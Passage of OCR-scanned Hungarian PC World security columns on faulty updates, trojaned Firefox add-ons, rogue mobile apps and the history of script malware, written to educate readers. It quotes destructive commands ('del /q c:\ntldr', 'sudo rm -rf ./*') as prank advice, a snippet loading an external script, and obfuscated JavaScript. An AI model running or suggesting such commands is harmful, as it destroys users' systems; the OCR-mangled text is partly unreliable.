egy ablak, hogy frissitsiik a kodeket, mert
csak akkor tudjuk megnézni az allitolagos
videot, amire sziikségiink van [van?). Kodek
helyett persze kartevo érkezik, de sza-

kall ide vagy oda, még mindig vannak, akik
beddlnek egy ilyen olcso triikknek, akar 0S
X-enis

kat mavelt. A 3119-es szamu szignaturafajl,
amelyet 2008. majus 22-én 10:45-kor adtak
ki, néhany gépen tiszta fajlokra is riasztott,
egyes esetekben pedig lefagyast eredménye-
zett. A probléma kizarolag a virusirto 3.0-s
valtozatat érintette. A laborba hamar eljutot-
tak a visszajelzések, és a 3121-es, 13:40-kor
kiadott javitott adatbazis korrigalta a hibat. A
mintegy harom dran keresztil fennalld gond
a felhasznaldk toredékét érintette, mivel ah-
hoz, hogy adatbazis-problémat okozzon, nem
csupan az kellett, hogy a kritikus iddszakban
keriiljon frissitésre a virusirto, de az is, hogy
a felhasznald ugyanekkor inditson el bizonyos
(példaul Adobe-os) alkalmazasokat.

A teljes AV-mez6nyt vizsgalva nem egye-
di eset, a kiilonféle virusvédelmi programok-
nal sajnos tobbszdr is tortént mar hasonlé
probléma. 2007 decemberében a Kaspersky
azonositott tévesen a Windows Explorerben
kartevot, mig 2007. junius 27-én a VirusBus-
ter frissitése és az APEH Abev programja ve-

Haboru tort ki 2009 majusaban az Adblock
Plus és a NoScript fejlesztoi kozt. A NoScript
titokban ugy frissitette a programjat, hogy
az AdBlock Plus ne legyen képes letiltani a
NoScript weboldalairol a hirdetéseket
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Revamping the Statistics Dashboard »

Two experimental add-ons, Version 4.0 of Sothink Web Video

Downloader and all versions of Master Filer were found to contain
Trojan code aimed at Windows users. Version 4.0 of Sothink Web
\ideo Downloader contained Win32.LdPinch.gen, and Master Filer
contained Win32.Bifrose.32.8Bifrose Trojen. Both add-ons have

been disabled on AMO.

2010. februar 25-én roppent fel a hir, miszerint két kisérleti stadiumban lévo Firefox-kiegészi-
to is fertozott volt. Bar az utolagos vizsgalatok megallapitottak, hogy a Sothink Video Downloa-
der 4.0-s verzioja esetében ez csak vaklarma volt, am a masik, Master Filer nevii kiegészités

valoban tartalmazott kartékony kodot

szett dssze. Ugyancsak hasonld esetek tor-
téntek példaul a Nortonnal, ahol rendszer-
fajlok keriltek indokolatlanul karanténba,
illetve 2006-ban a McAfee haza tajan is volt
egy hasonld sajnalatos esemény. Szeren-
csére az ilyen esetek rendkivil ritkak, mi-
vel a frissités kibocsatasa eldtt a gyartok
nagyszamu tiszta allomany esetében is el-
lendrzik, hogy valdban vakriaddmentes-e
az Uj szignatdra. Ilyenkor a versenytarsak
sem nyilatkoznak karérvendéen - nem rit-
kan technikai segitséget is nydjtanak egy-
masnak, ha ez sziikséges -, hiszen tudjak,
ez a veszély Damoklész kardjaként egyfor-
man ott lebeg mindegyikiik feje felett. (For-
ras: hopp.pcworld.hu/6833)

2009. 01. 13.: Seagate firmware-
frissités katasztrofalis kovetkez-
ményekkel

2009 januarjaban kinos élményben volt ré-
sze a Seagete 3,5 hivelykes 7200.11-es
és ES.2 sorozatl Barracuda, illetve Max-
tor DiamondMax 22 merevlemez-tulajdo-
nosoknak. Megjelent ugyanis egy olyan
SD1A verzioju firmware-frissités, amely
aztigérte, hogy BIOS-kompatibilitasi prob-
léméakat fog megoldani, valéjaban azonban
ez a szoftverfrissités teljességgel blokkol-
ta és megakadalyozta az adatok tovabbi el-
érését. A cégnek emiatt bocsanatot kellett
kérnie, valamint kartéritést kellett fizetnie
a bajba kerdlt Ggyfeleknek, és nemcsak az
eszk0z értékét, hanem az adat-visszaalli-
tas teljes koltségét is alltak. (Forras: hopp.
pcworld.hu/6834)

2009. 05. 05.: NoScript vs. AdBlock
Plus csorte
A NoScriptet rengetegen hasznaljak vilagszer-
te, hiszen a weboldalak automatikusan futé Ja-
vaScript kodjai ellen igen hatékony eszkéz. Az
egyik frissitésével azonban érdekes helyzetet
idézett eld, és egylttal meg is sértette vele a
Mozilla addon-készitékre vonatkozd szabalyo-
zasait. A botranyt az Adblock Plus és a NoScript
fejlesztdi kozt kitort haboruskodas okozta, en-
nek hatterében hirdetések és az ezekbdl befo-
lyo bevételek alltak. A NoScript gy alakitotta at
programjat, hogy az AdBlock Plus ne tudja letil-
tani a NoScript weboldalairol érkezé hirdetése-
ket, amihez természetesen nem lett volna joga.
A probléma leginkabb az volt, hogy mindez ti-
tokban tortént, és a felhasznalok soha nem tud-
tak arrél, hogy a NoScript bizonyos JavaScrip-
tek futtatasat mégis engedélyezte a gépiikon.
Giorgio Maone, a NoScript szerzdje a vadak
nyilvanossagra keriilése utan aztan egy hosz-
szU blogbejegyzésben kért bocsanatot. ,Kérlek
titeket, fogadjatok el legdszintébb bocsanatkeé-
résemet és higgyétek el, hogy szégyellem ma-
gam és megbantam, amit tettem. Tudom, hogy
olyan szorny(iséget tettem, ami még nem for-
dult el6 a Mozilla-kozosség torténetében, s ez-
zel sok ember bizalmat veszitettem el. Kérlek
titeket, segitsetek abban, hogy helyrehozhas-
sam, amit okoztam a hibdimmal.” (Forrasok:
hopp.pcworld.hu/6836, hopp.pcworld.hu/6835)

2009. 05. 21.: Firefox-kiegészitok -
idozitett bomba

Néha érdekes levelezést lehet olvasni az Ad-
block Plus foruman. Ennek tandsaga szerint



Vulnerabilities per Year

12000

10000

8000

6000
W vulnerabilities

4000

2000

2005 2006 2007 2008 2009

Megddbbento az a grafikon, amelyen az
évente megjelend exploitok, azaz sebezhe-
toségek szama szerepel. Ha most figyelmen
kiviil hagyjuk a 2006-0s kiugrast, latszik,
hogy a szamok évrol évre folyamatosan no-
vekednek

a blinozok lizemszer(en keresik meg a Fire-
fox addon-fejlesztéket, és rendre ,beprobal-
koznak” naluk. Jo esetben a szakértGk ne-
met mondanak nekik, akik kozott a kéretlen
reklamok terjesztdi szandékosan keresnek
olyasvalakit, akiknek mar ismert a neve, és
felfuttatta a programjat. Ha az ilyen, 180 So-
lutions-jellegli cégek bevasarolnak, akkor a
bizalomra épiild addonhasznalatnak kénnyen
vége lehet. Epp emiatt riziks a kisérleti (ex-
perimental) besorolasu kiegészitdk letoltése,
de a hivatalos oldalrdl leszedett addonokat is
csak sajat felelésségre telepitsiik.

2009. 11. 11.: az elso iTunes-fecske
Miénk a tréjai, magunknak telepitjiik - akar
igy is lehetne fogalmazni, ha azt kérdezi t6-
link a medve, hogy mondd csak, te vadasz,
miért is jarsz az iTunes App Store-ba? Ez az
a terlilet, ahol még a leggyanakvdobb ember is
csapdaba eshet. Nem latunk bele a letdltendd
programba, igy az open source-szal szemben
itt jobb hijan kénytelenek vagyunk a bolt lize-
meltet6jében, azaz az Apple-ben megbizni.
Valamennyire tajékozdédhatunk az interneten,
de ez is maximum akkor ovhat meg barmitél,
ha mar egy ideje ismert valamilyen anoma-
lia, vagyis jobbara mar csak es6 utan van esé-
lylink képdnyeget talalni.

2009 novemberében az Egyesiilt Allamok-
ban, Eszak-Karolindban indult per a Storm8
fejleszték ellen, mert az ingyenesen letGlthe-
t6 jatékaik - mint példaul az iMobsters vagy a
Vampires Live - egy beépitett hatsoajton ke-
resztiil, titokban tovabbitottak a fejlesztéknek
a felhasznalok telefonszamat, illetve telefon-
konyviikben szerepld szamokat, hogy 6szt6-
nozhessék dket a teljes valtozat megvasar-
lasara.

A piszkos triikk kideriilt, és most a fejlesz-
tok azzal védekeznek, hogy ez a frissités ,vé-
letlen programhiba volt”. Az alabbi programok
keveredtek gyanuba: iMobsters, Kingdoms Li-
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Your computer is not connected to a

power source.

@

For best results, you should connect your computer
to a power source before installing. Are you sure you

want to continue the installation?

( Cancel ) [ Continue

Még ha semmiféle veszélyes letoltés sincs a lathataron, akkor is érdemes figyelni arra, hogy
halézatrol vagy akkumulatorrol jaratjuk-e a gépet az operacios rendszer frissitésekor. Erre
mindharom rendszer, a Windows, a Linux és a Macintosh is példasan figyelmeztet

ve, Racing Live, Rockstars Live, Vampires Li-
ve, World War, Zombies Live. Valdsziniileg az
App Store alkalmassagi vizsgaloi sokkal job-
ban odafigyelnek arra, hogy nehogy csor-
buljon az Apple érdeke izletileg, a biztonsa-
gi szempontok pedig masodlagosak. (Forras:
hopp.pcworld.hu/6837)

2010.01. 11.: Androidrais van, nana
Nemrégen az emlitett, az iPhone program-
aruhazéhoz hasonlé helyzet adddott az and-
roidos telefontulajdonosok szamara is azzal,
hogy a Droid09 nev(i alkalmazas leleplez6-
dott. A program a felhasznalok banki adatait
probalta megszerezni, azéta persze eltavoli-
tottak a kinalatbol. A torténet viszont jo példa
arra, hogy nagyon inyencnek, tajékozottnak és
valogatésnak (szerencsésnek?) kell/érdemes
lenni, amikor ismeretlen szerzék alkalmaza-
sainak telepitésérdl van szo. Azonban sajnos
szinte kivédhetetlen az az eset, amikor az al-
kalmazas Uj koraban még sikeresen levizsga-
zik, igy bekeriil a bolt kinalataba - ekkor még
korrekt, aztan pedig egy varatlan frissitéssel
a blindzok mar bele is helyezik a tréjai funkci-
onalitast. Ez pedig addig gydjti maganak a fel-
hasznaldk adatait és rosszabb esetben pén-
zét, amig észre nem veszik, és le nem leple-
zik. (Forras: hopp.pcworld.hu/6838)

2010. 02. 04.: trojai Firefox-pluginok
Felroppent a hir, miszerint két publikusan le-
toltheto Firefox-kiegészité is fert6zott volt.
Ezek kisérleti (experimental) stadiumban vol-
tak ugyan, mégis tobb ezren letoltotték oket.
Az egyik a Sothink Video Downloader 4.0-s
verzidja volt, a masik pedig a Master Filer ne-
v{i kiegészitd. A késébbi vizsgalatok azt jelen-
tették, hogy a kiegésziték csak Windows plat-
form alatt jelentettek veszélyt. A tréjai kom-
ponensek varatlan felfedezésének okaként
azt jelolték meg, hogy a korabbi egyetlen vi-
rusvédelmi alkalmazas helyett most tobbel
is ellendrizték a kiegészitGket. Eqy késdbbi

elemzés vakriasztasnak mindsitette a Sothink
programjaban tortént kartevé-detektalast, vi-
szont megerdsitette a masik kiegészitében
talalhatd tréjai létezését. (Forrasok: hopp.
pcworld.hu/6839, hopp.pcworld.hu/6840)

Zarjuk a szot

Mindebbdl remélhetdleg sikeriilt felvazolni,
hogy rendszeriink naprakészen vald tartasa
nem egy egyszer( feladat; a szoftverek letdl-
tése, illetve frissitése kozben akkor is eléfor-
dulhatnak kiilonféle biztonsagi incidensek, ha
a terrorista, porné-, netdn warezhonlapokrol
az sem tudjuk, hogy eszik-e vagy isszak azo-
kat. A felsorolt példakkal természetesen nem
a bajba kerilt alkalmazasok hasznalatarol
igyekszlink lebeszélni az embereket, inkabb
a nagyobb figyelem és a latokor tagitasa volt
acél.

Remélhet6leg a Secunia Personal Software
Inspector (secunia.com/vulnerability_scan-
ning/personal/) hamarosan megjelend 2.0-s
programija segithet atlendilni a Windows-fel-
hasznaléknak ezen a nehéz helyzeten, a fej-
lesztdk igérete szerint ott mar a kiilonféle al-
kalmazasok mintegy 70-80 szazalékahoz tud-
nak majd valamiféle automatizalt frissitési
megoldast biztositani, amelyekkel pedig be-
gydgyitjak a tdmadhaté sebezhetdségeket. Vi-
gyazni és 6vatosnak lenni azonban tovabbra is
nekink magunknak kell!

Csizmazia Istvan,

virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

velemeny@pcworld.hu

Kérjiik kedves olvaséinkat, ha a témaban
kérdésiik, hozzaszélasuk van, juttassak el
hozzank (velemeny@pcworld.hu)
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A szkriptek diadalitja

Halaszat uj vizeken

Virusok Varazslatos Vilaga

Sorozatunk harmincharmadik részében csokorba gyiijtjiik a szkriptes kartevok krémjét. A szkriptnyelveket
sokan lenézik, de igazsag szerint szinte barmit meg lehet veliik valdsitani a szamitogépben - és ez jot és

rosszat egyarant jelenthet.

szkriptek néhany fajtaja komolyabb ha-
Atésk'drrel a gép fajlrendszeréhez, mé-

lyebb rétegeihez is hozzaférhet, ugyan-
gy, minta VBS a Windows, vagy a Bash a Linux
alatt. Cikkiinkben sz esik a szkriptalapt kar-
tevokrdl, de bemutatunk néhany olyan szimp-
la parancssori utasitast is, amelyek akar komo-
lyabb Kkart is tehetnek rendszeriinkben. Min-
denesetre nemcsak az lathato, hogy ezek a
szkriptek milyen sokszor lehetnek veszélye-
sek, hanem az is, hogy segitségiikkel olyan Uj
tamadasi modszerek jelentek meg, amelyek az
Ujszerliségiikkel az antivirus szoftverek gyarto-
inak is rendre feladjak a leckét.

Ez egyaltalan nemvicces

Egy Ujsziilottnek minden vicc j. Ugyanigy, min-
den Ujonc szamitégép-hasznalonak végig kelle-
ne jarnia legalabb egy alapszint{ tanulasi folya-
matot - legyen ez akér dnszorgalombdl végzett
autodidakta ismerkedés a géppel, vagy egy k-
l6n tanfolyam -, hogy aprébb-nagyobb problé-
mait képes legyen sajat maga is megoldani. Ha
nagy bajban lesz, Ugyis segitséget kér a baratja-
tol, szomszédjatol, csaladtagjaitol vagy a mun-
kahelyén a rendszergazdatél, esetleg netes fo-
rumokban. A forumok lakéinak tobbsége olyan
j0 szandéku veteran, aki mar sok mindent meg-
tapasztalt, és egy-egyjoliranyzott kérdésre adott
valaszuk nagyon meg tudja kdnnyiteni a problé-
majara megoldast keresd életét. Azonban - ha
ritkan is - koztik is akad olyan rossz szandéku

waule

Murphy talan azt mondana erre: ,,Amit dssze
lehet zavarni, azt 6ssze is zavarjak.” Jol lat-
hato, hogy a harmadik formula mar annyira
végletesen triikkos, hogy mind a bongészok,
mind az antivirus program sziiréit is képes
lehet megkeriilni

ember, aki vicchdl vagy gonoszsaghdl félreveze-
ti a naiv érdeklddét. Ha példaul windowsos prob-
lémank orvoslasara a ,.del /q c:\ntldr”, vagy Li-
nux alatt a ,.sudo rm -rf ./*" parancsot javasol-
jak, nem szabad beddlni, vakon begépelni, mert
rendszeriink nélkiilozhetetlen allomanyait torlik
ezek az utasitasok (ubuntu.hu/node/7200).

A diszes kompania
Ha kicsit visszatekintiink az idében, régeb-
ben a kétegelt parancsfajlok kére DOS, illetve
Windows alatt kiilon teriilete volt a kartevok-
nek. A merevlemez forméazasa, kulcsfontossa-
gl rendszerallomanyok torlése, allomanyaink
feliilirdsa szeméttel vagy végtelen ciklusban
valo RAR-tomarités mellett szamos mas pisz-
kos triikk volt forgalomban, lassuk az egyiket.
A DOS és Windows alatt létezik egy tarsita-
si (companion] lanc. Ha egy futtatandé fajlt in-
ditunk, de kiterjesztést nem irunk hozza, akkor
a rendszer el@szor .com kiterjesztést keres, ha
ez nem létezik az aktualis vagy a path valtozo-
ban megadott konyvtarban, akkor .exe-t, ezutan
pedig a .bat allomanyokat nézi végig. Ebben az
id6ben sok olyan .com kiterjesztés(i kartev ké-
sziilt, amely a hasonlo nev(, hivatalos rendszer-
alkalmazast megeldzve lefutott, majd hogy el-
keriilje a lebukast, maga utan azért elinditotta a
hasonlo nev(i EXE-t is. Ekkor pedig mar lehetett
az EXE fajlokat torolve tritkkos kotegelt alloma-
nyokat (.bat, batch) is késziteni, amelyek a mar
emlitett torlést, formazast orvul végrehajtottak.
Azilyen kartevok megkereséséhez altalaban
a kiterjesztett heurisztikét (advanced heuris-
tics) is be kellett kapcsolni, sajnos ez a detek-
talasi szint emelkedése mellett az esetleges
vakriasztasok szamat is gyarapithatta.

Voltak még makrok is
MielGtt ratérnénk a manapsag divatos karté-
kony JavaScriptekre, érdemes még felidézni

2010. februar hatodikan egy kartékony,
orosz oldalra mutato JavaScript-kod buk-
kant fel a BKV weboldalan (hopp.pcworld.
hu/6913). A szkriptes triikkre mar alapbol
riasztott néhany virusirto, koztiik a NOD32 is.
Akod forrasahoz fiizott GNU/GPL licenctréfa
mar csak hab volt a tortan

a multbol microsoftos makrokat is, amelye-
ket a cég eredetileg azért épitett a program-
jaiba, hogy a felhasznaldk életét megkonnyit-
se. Az elsé Word makrévirust Joel McNamara
készitette 1994-ben, kutatasi és demonstra-
cios céllal, és nem s hozta azonnal nyilvanos-
sagra a kodjat. A virust azonban hamarosan
mas is elkészitette, igy az Uj MS Office cso-
mag hamarosan rémalomma valtozott a fel-
hasznaldi szamara, hiszen 1995-ben meg-
sziilettek az els6 rosszindulati makrok, sé6t a
Word, Excel allomanyokban még azt is el le-
hetett érni, hogy az automakro beallitasokkal
egy ilyen utasitdscsomag a fajl megnyitasa-
kor azonnal lefuthasson. Eleinte csak a doku-
mentumok betoltése kozben a [Shift] billen-
ty nyomva tartdsa - a makrok kézi tiltasa
- volt az egyetlen védekezés, aztan a virusvé-
delmi programok is felvették a keszty(t, és a
virusos makrok ellen is elkezd6dott a véde-
lem. A Microsoft eléggé el nem itélhetd mo-
don sokaig nem vette a figyelembe a sulyos
helyzetet, s6t tobb alkalommal a sajat gyari
CD-iis fert6zottek voltak, raadasul az ezeken

Original JavaScript:

Scrambled JavaScript:

Fs63%721 '+ ' pt%3e %0d%0a%0d%0a'))

document.write("Hello, world!");

document. write( unescape( "% 3cs% 03ript% 3e% 3c%2 1 % 2d- % 0d% 0ado % 63ument. write("
Te48%65110%2c % TTorld%21"); %0d%0a%2f%2f %2d%2d%3e%0d%0a%3c/s

Hello, world!

A ,,Hello, vilag!” minden programozast tanult embernek kedves ismerdse lehet. A lenti, 6ssze-
zavart formaban azonban az anyja sem ismerne ra
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Nem minden j6 tanacs, ami annak latszik. Van-
nak olyan ferde hajlami segitok, akik élvezik,
ha zsakutcaba juttathatnak valakit. Az Ubuntu

magyar foruma szerencsére nem ilyen, ott valodi

segitokészséget lehet talalni

Threat detected

File:
EABACHUMBL bat
Threat:

BT/ B brajan
Cammunt:
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Antiviras System

Szamos virusirté rendelkezett azzal a ké-
pességgel, hogy még a batch fajlokban rejlo
kartékony utasitasokat is tudja detektalni

levé virusos makrék hasznos allomanyokat
tordlhettek, dokumentumokat semmisithet-
tek meg, tovabbi virusallomanyokat csoma-
golhattak ki magukbol (dropper), sét egyes
makrok még a Macintosh rendszer alatt is
veszélyesek voltak az ottani Office alloma-
nyokra. Tovabb nehezitette a biztonsagi cégek
helyzetét, hogy a Microsoft a szlikséges doku-
mentaciot, a fajlszerkezetek informacidit sem
osztotta meg vellik, igy kvazi minden résztve-
vének a nullarél kellett visszafejtenie ezeket
(hopp.peworld.hu/6914). Tovabb sulyosbitot-
ta a helyzetet, hogy a kevés elkodolt kivételtdl
eltekintve olvashato forraskodban terjedtek a
makrovirusok, igy hamarosan sok botcsinal-
ta 6nkéntes kezdett el ilyenekkel foglalkozni;
harom év alatt a makrévirusok szdma meg-
haladta az ezret. S hogy mindez még ne le-
gyen elég, elkezdtek tucatjaval megjelenni
az automatizalt makrokartevé-készitd kitek
is (ezekrél a 13-as epizddban lehet bévebben
olvasni). A kartevékhéz hasznalt nyelv eleinte
a Word Basic, késébb pedig a Visual Basic for
Application (VBA] volt. A makrovirus .divatja”
azonban nem maradt meg a Microsoft Word
és Excel keretei koz6tt, hanem mas alkalma-
zasokban is megjelent, igy példaul az Access,
Lotus, AutoCAD és CorelDraw szoftverekben,
legalabb egy POC- (Proof of Concept] példany
erejéig.
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Megvasarolhato vagy bérelhetd is olyan program, illetve szolgaltatas, amellyel kodossze-
zavarast lehet megvalésitani. Jo szandéku célok érdekében ilyenekre kevéshé van sziik-
ség, a kartevoterjesztok viszont rendszeresen élnek vele

Jonnek a VBS-férgek

El6szor csak szérvanyos elektronikus leve-
lek mellékleteként kezdtek érkezni a kiilonféle
szkriptnyelveken (VBScript, JavaScript stb.) irt
rosszindulatd programok, majd a viruskészitok
sz6 szerint eldrasztottak vellik a vilagot. Ha vala-
ki 2000 majusaban egy | LOVE YOU targyu levelet
kapott, amelyhez egy LOVE-LETTER-FOR-YOU.
TXT.vbs nev melléklet is tartozott, az valoszin(-
leg orokre emlékezni fog az esetre. A VBScript-
benirt féreg futotlizszer(ien terjedt, a megferto-
z6tt gépeken megkereste az Outlook cimjegyzé-
két, és az itt talalt cimekre azonnal tovabbkildte
magat. Karokozas is tortént: a zenei és képallo-
manyainkat jovatehetetleniil binaris szeméttel
irta feliil. A Loveletter kivételes eset volt abbdl
a szempontbol, hogy szerzgjét, a Fiilop-szige-
teki Onel Guzmant sikertiilt azonositani és elfog-
ni, mégis megUszta a blintetést, mert akkoriban
még nem Létezett ilyen helyzetekre jogszabaly.

Ki mit tud? JavaScript-vetélkedo
Ha hasznos vagy meglepé szkripteket kell
bemutatni, nem szenvediink hianyt az ilye-

nekben sem. Az egyik gyongyszem az iWiW
Toolsnak nevezett program (userscripts.org/
scripts/show/24506), amely az iWiW feliileté-
nek testreszabasan kiviil olyan hianypétlé (de
az tzemeltetdk altal szandékosan kihagyott)
feladatokat is ellat, mint az ismerdsok adatai-
nak vagy a bejové-kimend tizeneteinknek a he-
lyi gépen fajlba mentése.

Sokan kaptak fel a fejiiket 2007 juliusaban -
ha még nem ismerték korabban - arra a Ja-
vaScript kodra is (hopp.pcworld.hu/6910),
amely a Firefox 2.x valtozatanak jelszokeze-
16jébol ki tudta lopni az ott eltarolt jelszava-
kat. A hibat persze azota mar kijavitottak, de a
madszerrel lehet6ség nyilt volna jelszavak lo-
pasara bongészés kozben is.

Gyere veliink, csinald veliink, csi-
nald jobban!

A weboldalakba mar évek odta kdonnyen be-
agyazhato olyan lathatatlan JavaScript-kad,
amelynek hatasarakilonféle kellemetlen ese-
mények térténnek gépiinkon. igy példaul dra-
maian lelassul a masina vagy csak a bongé-

Altaldnos Fehérlista Beagyazott objekiumok Megjelenés Jelentések Specialis

A megbizhatatlan webhelyek tovabbi korlatozasai

Ezek a beallitdsok Uj vagy (kézzel) jratoitott oldalaknal Iépnek érvénybe

W AJava™ tiltasa

¥ Az Adobe® Flash® tiltasa

W A Microsoft® Silverlight™ tiltasa
¥ Egyéb beépllé modulok tiltasa

[ Az <IFRAME> tiltasa
[C] A <FRAME> tiltasa
~ A @font-face letiltasa

| A korlatozésok alkalmazisa a

| Az <AUDIO> / <VIDEO> letiltasa

bt
yekre is

¥ Minden megbizhatatlanként megjeldit oldalrol érkezé objektum blokkolasa

¥ A helykitoltd ikon megjelenitése

| Nines helykitéltd a megbizhatatiannak megjeldlt webhelyekrdl érkezd objektumoknal

W Megerdsités kérése egy objektum ideiglenes feloldasa eldtt
[ Blokkolt objektumok Gsszecsukasa

ClearClick vedelem a

1 nem biztonsagos oldalakon (] biztonsagos oldalakon

Beagyazott objektumok beallitasa nem &tlatszonak a ) nem biztonsagos oldalakon [ biztonsagos oldalakon

Importalas | | Exportalas| @ Alaphelyzet

&) Megse « 0K

Verziorol verziora egyre kifinomultabb a NoScript. A hasznalata valoban hatasosan csokkenti
a javascriptes veszélyeket a hongészés kozben. Hatranya, hogy az atlagfelhasznalok utaljak a
sok allitgatast, pepecselést, engedélyezgetést, ezért inkabb lekapcsoljak
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Az F-Secure 2009-es adatai szerint a legtobb (makré)
szkriptes kartevot mar nem a Wordre vagy Excelre
irjak, hanem az Adobe PDF allomanyokra. Az ilyen kar-
tékony PDF-ek egy JavaScript-kodot is tartalmaznak,

ami megnyitaskor automatikusan lefut

szés sebessége, tucatszam nyilnak meg rek-
ldmokkal terhelt popup ablakok, mas lesz a
kezd6lapunk, s6t bizonyos kedvenc (féként vi-
rusvédelmi) oldalaink esetén valami blokkol-
ja, letiltja ezek megjelenését.

A biztonsagunkat a NoScript plugin (no-
script.net) segitségével fokozhatjuk, amely-
lyel lehetdséglink van a weboldalon futtatott
szkriptek blokkolasara, részleges vagy teljes
engedélyezésére, illetve ezek futadsat végle-
ges vagy ideiglenes szabalyokhoz is kéthetjlk.
Egyetlen hatranya, hogy sokan nem szeretnek
ennyire részletesen pepecselni a gépiikan,
és inkabb mindenre igent nyomnak, vagy egy
mozdulattal kikapcsoljak e hasznos plugint.

Es mi, belgak, hova alljunk?

Ha valaki ezek utan azt gondolja, a weboldalak
JavaScriptjén tallépve vége a hasonlé megle-
petéseknek,aztéved.Sajnosigensokteriileten
talalkozhatunk még kartékony JavaScript-ko-
dokkal, ezek egy részét példaul a PDF fajlok-
ba foglaltak. A PDF-szabvanyba eredetileg az
Acrobat dokumentumokban tarolhaté Grlapok
szerkesztése miatt kerilt be a JavaScript-ta-
mogatds, mostanra azonban annyira elfajult
a helyzet a PDF-ekbe rejtett exploitok miatt,
hogy gyakorlatilag minden szakember a PDF-

Script Escalation

* Scripts can load other scripts
* Get a foothold and you can do anything

<script id="external_script"
type="text/JavaScript"></script><scri
pt>document.getElementByld('extern
al_script').src =
‘http:/lothersite.com/x.js'</script>

A JavaScriptek jabb JavaScripteket hivhat-
nak meg, amelyek szintén Gjabb JavaScrip-
teket hivhatnak meg. Csak gyozziik mindet
ellendrizni...

39.22%

W

Vicces latvany, amikor a hamis
antivirust terjeszto weboldal Java-
Script-kodja windowsos kartevoket
vél felfedezni Ubuntu Linux alatt

megjelenitokben a JavaScriptek teljes letilta-
sat tanacsolja (hopp.pcworld.hu/6911).

JavaScript-simogato
Eloljarobanalljonittegy anekdota. Talleyrand-
hoz, a nagy francia allamférfihoz igy szélt egy
kilfoldi diplomata: ,Uram, fél napig tértem a
fejem, mi van abban a levélben, amit hozzam
intézett, de nem tudtam megérteni.” Talley-
rand a kovetkezoképpen valaszolt: ,Uram, én
egy egész napig tortem a fejem, hogy dgy ir-
hassam meg, hogy on ne értse meg.”

Amikor egy netes b(indz6 azt szeretné, hogy
egy kartékony szkriptes kddban egy adott web-
oldalra kelljen ugrani, ahhoz észrevétleniil, ol-
vashatatlanul szeretne beleirni egy HTTP-ci-
met. Koradbban erre hasznaltak az unescape()
fliggvényt, ahol a karakterek kddjainak segit-
ségével ugyanazt a feladatot elvégz6 program-
sort egy atlathatatlan %szam%szam rendsze-
ri karakterfiizérre cserélték (ezekrdl a 14-es
epizodban lehet bévebben olvasni). Ha egy ilyen
kodba belenéztiink, csak zavaros kaoszt lat-

% Vhs Worms Genarator [Vbawg] 1.50b - [KJAlama

Ophions Rephcation

Worm name: [/ _EM

Yourname: [IKFlamat __ Oulook |
‘wom backup Minz I
Copy worm to. fw“d““ ZI Fwch |
Fla nama. [¥/om vbe Infect Fies__|
Leave the vbs st the end. Smuﬂﬂl P s I

Rlandom words lsnght: 15~ README | Eabsi |

Fast accer

W Outiock Alts. T~ Outlook Msg ¥ Mire ¥ Pich

W Stanwih'Win F Infectfles T SeachMic [~ Seach Pich
[ ShowMsg [ GoloUd [ Ciathsystem [ Crash syslem 2
¥ AntiDeleton [~ Ciyptcode [ Downdoad and mn file

Mbout | Help | Conisel LoadPret  Edt | Genwate |

Egy kevéshé kellemes emlék a multbol. Aki
Microsoft Office-os kornyezetben dolgozott
hataridos munkakon, valésziniileg egy ido
utan melegebb éghajlatra szamiizte volna

a makrovirusok szerzoit, akik késobb mar
generatorral ontottak ,,miiveiket”

Virusok Varazslatos Vilaga

§  Stickie dlias

\F

pr Az oldal a(z) hutp://scanner.rapidantivirus.com

7 helyen azt mondja:
Your computer is running slower than normal, maybe it
is infected with Viruses, Adware or Spyware.

RapidAntivirus will perform a quick and completely FREE
scan of your system for malicious software.

Download RapidAntivirus for FREE now!

Ahogy Tuské Hopkins mondja: .Es ezt tudom
lovon és trapézon is.” A bongészoben futo
JavaScript természetesen Macintosh aldl is
bamban feldobja a virusokra figyelmezteto
hamis ablakat

tunk. lgaz, léteztek mar kiilon weboldalak is,
ahol mindossze annyi volt a dolgunk, hogy be-
dobjuk a zavaros kddhalmazt az egyik szdveg-
dobozba, és a masikban maris szép olvashato-
an, tagoltan tlint fel a JavaScript program. Nyil-
van lattak ezt a rosszfilk is, mostansag ugyanis
ez mar nem segit. Ilyenkor mar csak kiildn se-
gédprogramokkal, JavaScript debuggerekkel,
sajat készitésl célprogramocskakkal, elem-
zéssel lehet csak a végére jarni a profin Gssze-
zavart kddoknak (hopp.pcworld.hu/6912).

Zarszo
Webes kartevok esetében az is eléfordulhat,
hogy a javascriptes kddot a szerver minden al-
kalommal a fertdzés kozben véletlenszer(ien
és egyedien Ujrageneralja, igy generikus fel-
ismerés nélkil, egyszer( szignaturaval nem
lehet Gket detektalni. Az Gsszezavart Java-
Script-kddok kibontasa, visszafejtése (deob-
fuscation) érdekes és szép teriilet. Lehet, hogy
akar egy 6nallo fejezetet is szanunk majd egy-
szer erre a kés6bbiekben. Mindenesetre az
a fentiekbdl igy is jol latszik, hogyan hoditott
meg Uj teriileteket a szkriptnyelveken irt kar-
tékony kad és a kisérletezé elme. A lecke fel
van adva: az egyre Ujabb tdmadasok mindegyi-
két ismerniiik kell a jov6 virusvédelmi megol-

dasainak.
Csizmazia Istvan,
virusvédelmi tanacsado
Sicontact Kft., a NOD32 antivirus
magyarorszagi képviselete
antivirus.blog.hu

velemeny@pcworld.hu

Kérjiik kedves olvaséinkat, ha a témaban
kérdésik, hozzaszélasuk van, juttassak el
hozzank (velemeny@pcworld.hu)
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Kozosségi élet nem vart mellékhatasokkal

Valos Virtualis Veszélyek

Virusok Varazslatos Vilaga

Egyre tobben hasznaljak a kozosségi oldalakat - ezek azok a helyek, ahol a baratunk baratjanak a segitseé-
gével talaljuk meg a masik baratunkat. A kozosségi felhasznalok megnovekedett szama a tettre kész csalokat,
spammeloket, kartevoterjesztoket sem hagyta allva; egyre sikeresebben alkalmazkodnak és élnek az 1j
lehetoségekkel. Raadasul nemcsak a kozosségi oldalak, hanem a Skype vagy MSN chatprogramok is kiveszik

a résziiket a virusok terjesztésébol.

koz6sségi eszkdzok hasznalata erdso-
A dik az lzleti életben, a szervezetek ha-

romnegyede mar hasznalja az ilyen ti-
pusu halézatokat - deriilt ki a Cisco 2010 ap-
rilisdban megjelent nemzetkozi kutatasabol.
Akad tehat olyan ember, aki munkahelyi kap-
csolata miatt kénytelen, akad olyan is, aki
csak passziobol hasznalja, azonban kijelent-
hetd, hogy az internethasznaldk kozil csak
nagyon kevesen utasitjak el teljesen a koz6s-
ségi oldalakat. Sokan gondoljak ugy, valami-
